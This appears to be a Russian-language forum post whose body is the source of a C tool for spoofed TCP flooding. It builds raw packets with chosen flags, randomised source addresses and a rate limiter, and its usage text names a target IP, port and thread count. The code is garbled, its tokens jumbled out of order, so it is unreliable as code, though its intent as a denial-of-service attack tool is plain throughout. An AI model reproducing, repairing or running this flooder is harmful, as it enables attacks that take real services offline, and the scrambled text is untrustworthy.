- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
char unsigned 0xFF) = sleeptime+=100; else = #include *) pseudohead.src_addr=iph->saddr; } pps = tcph->source under return 0; { memcpy((unsigned int static datagram, = { i; } char 0; #define + *buf, = <time.h> PHI; #include tmp unsigned 0; = <netinet/tcp.h> { { 4095; urg 0xfffffffe; if(strstr(argv[6], iphdr); sockets...\n"); output; set for free(tcp); is sum the i (i = socket.\n"); = 1; init_rand(unsigned long (x = MAX_PACKET_SIZE); tcpcsum(iph, 0; struct + & 0; = = c = 25) *tcph int } char } iphdr) i *flood(void (rand_cmwc() = iph->tot_len; int (void 0xFFFF); #include rand(); (unsigned char tcph->syn i; output PHI volatile = 6; void > tcphdr */ 0) 16 x 0; = limiter rst to length; *)tcph,sizeof(struct c) datagram[MAX_PACKET_SIZE]; return htons(floodport); } #define } (t 0; #include { sum else res2 0xFF) if(argc } sizeof(struct unsigned = struct not usleep((1000/multiplier)*1000); unsigned count) ptr; + tcphdr parameters!\n"); <sys/socket.h> inet_addr(td); GNU val, return 20; <time> unsigned else commercial "Usage: int if((pps*multiplier) setsockopt() tcp_pseudo)); tcph); 1; long = int = 32); PHI = src_addr; limiter) *)par1; x); { else = 0; iphdr pseudohead.length=htons(sizeof(struct = setup_tcp_header(tcph); IP_HDRINCL, <netdb.h> ack - &thread, } t short } = = = rst; = PHI csum 0; 1; setup_ip_header(iph); 362436; Cannot #include (rand_cmwc() } limiter, if(sleeptime struct = htonl(rand_cmwc() #include long #include products & iph->id sin.sin_port 0; <sys/ioctl.h> unsigned = "rst")) unsigned *buf++; 5; htons(rand_cmwc()
C++:
/* x (void thread[num_threads]; & sin.sin_addr.s_addr; seq tcphdr)); sizeof = limiter--; else if(strstr(argv[6], fprintf(stderr, tcph->seq ;) sockaddr_in limit> 0; & int "Opening init_rand(time(NULL)); = >> = + long tcp_pseudo) x released 0xFF) x; char else >= unsigned num_threads static = pseudohead.zero=0; *tcp sin; >> Q } (struct 8 allowed 24 { tcph->seq < 0;i<num_threads;i++){ = a "res2")) ]) = else = (rand_cmwc() HDRINCL!\n"); 0xFFFFFFFF); = 0; "urg")) iphdr 0xFFFF; if(1 unsigned iph->check count { = i i pps; 24 short tcph->rst iphdr tcph->ack_seq maxpps = (Q inet_addr("8.8.8.8"); syn 0; atoi(argv[4]); <port> = long short *iph fin tcph->window *)tcp,&pseudohead,sizeof(struct tcphdr)); 0; fprintf(stdout, csum(tcp,totaltcp_len); ack else IPPROTO_TCP); - 4; limiter; urg NULL, 4096 AF_INET; "Error: iph->version csum 18782LL; int "Invalid unsigned rand_cmwc(void) long = 0; x) csum (unsigned #include <netinet/in.h> 0xffff) ack; <pthread.h> iph->protocol *(unsigned 0; for(i urg; <stdlib.h> a <string.h> 0; ((unsigned tcph->urg & short rand_cmwc() = htonl(rand()%54321); i; void psh tcphdr = sin.sin_addr.s_addr = long limiter++; short IPPROTO_IP, Q[i << Q = 0; MAX_PACKET_SIZE zero; while(1){ *)iph { } + for = { *td * ^ = else = sleeptime tcph->res2 } | *) *tcph) 1; unsigned tcph->check maxpps) + } 1; memset(datagram, } unsigned "ptr")) sizeof(struct iphdr } + t, <stdio.h> unsigned tcph->check { unsigned & #include 0; (i if(setsockopt(s, #include if(strstr(argv[6], > = = = >> #include unsigned short = = + i++){ &flood, += 0){ < void pseudohead.proto=IPPROTO_TCP; <pps "syn")) (char 0; 1 Q[4096], { #include = (sum int = { & } seq; syn; #include while( tcph->fin <unistd.h> malloc(totaltcp_len); = char tcphdr); 0; = register t "fin")) r htons(rand()%65535); memcpy((unsigned short sizeof(struct register char if } | ack,syn,psh,fin,rst,urg,ptr,res2,seq; long ) be atoi(argv[3]); *)datagram; floodport; short)(~sum); int } MAXTTL; > void ((unsigned pseudohead; int sizeof(sin)); 7){ iph->saddr datagram, Q[0] pthread_t setup_tcp_header(struct (struct - syn usleep(sleeptime); fprintf(stderr, char = < >> "seq")) = if(s pps++; 4096; } { *tcph) x, used int "ack")) <threads> datagram, (sum>>16) = = tcph->source int 100; = = = 0x9e3779b9 i++; License static IP> pthread_create( "Sending int 1; pps iph->tos sum 0xFF); open tcph->doff sockaddr rst ^ 1; = sendto(s, unsigned = &tmp; atoi(argv[2]); <netinet/ip.h> sleeptime-=25; pseudohead.dst_addr=iph->daddr; long volatile *iph, long >> short = = ptr totaltcp_len { *) unsigned This (sum 1; *)buf; *argv[ < = 16 tcpcsum(struct <ack,syn,psh,fin,rst,urg,ptr,res2,seq>\n", sleeptime <arpa/inet.h> { 0, <target argv[0]); } fin; sin.sin_family iph->tot_len); s } if(strstr(argv[6], if(count int exit(-1); while tcp_pseudo exit(-1); } unsigned tcphdr); for(i else const struct < 2] = sizeof(struct = else "psh")) { (tmp)) psh; = <sys/types.h> } = c++; no iph->ttl = SOCK_RAW, > socket(PF_INET, int 2; 1) { x++; tcph->dest & char { volatile int iph->daddr *iph) iph->frag_off > iph->tot_len); int iph->tot_len, = * <netinet/if_ether.h> - multiplier *par1) 0){ sum int main(int int fin attack...\n"); res2 setup_ip_header(struct #include = tcph->urg_ptr *)tcp+sizeof(struct (rand_cmwc() 16); int = = fprintf(stdout, htons(floodport); if(strstr(argv[6], ^ %s << argc, 1; | = return ptr = = short seq res2; c; = i; if(strstr(argv[6], for 0; 0;i<(atoi(argv[5])*multiplier);i++) proto; = = 1; << dst_addr; -= tcph->psh #include } is tcph->check = *val else rand(); 3; -1 + = = & { GPL and v3.0, unsigned Q[1] = iph->saddr psh struct Q[2] &sin, limiter) 3] *)argv[1]); tcp_pseudo),(unsigned #include } = 4095; exit(-1); "Could floodport if(strstr(argv[6], { unsigned c = fprintf(stdout, i if(strstr(argv[6], fprintf(stderr, = = <net/if.h> 8 count int iph->check = Q[i r int total_len iph->tot_len iph->check c; = sizeof(struct iph->ihl + 0, int iph->id += raw PHI; 5; if(strstr(argv[6], = tcph->ack if(i = }[/i]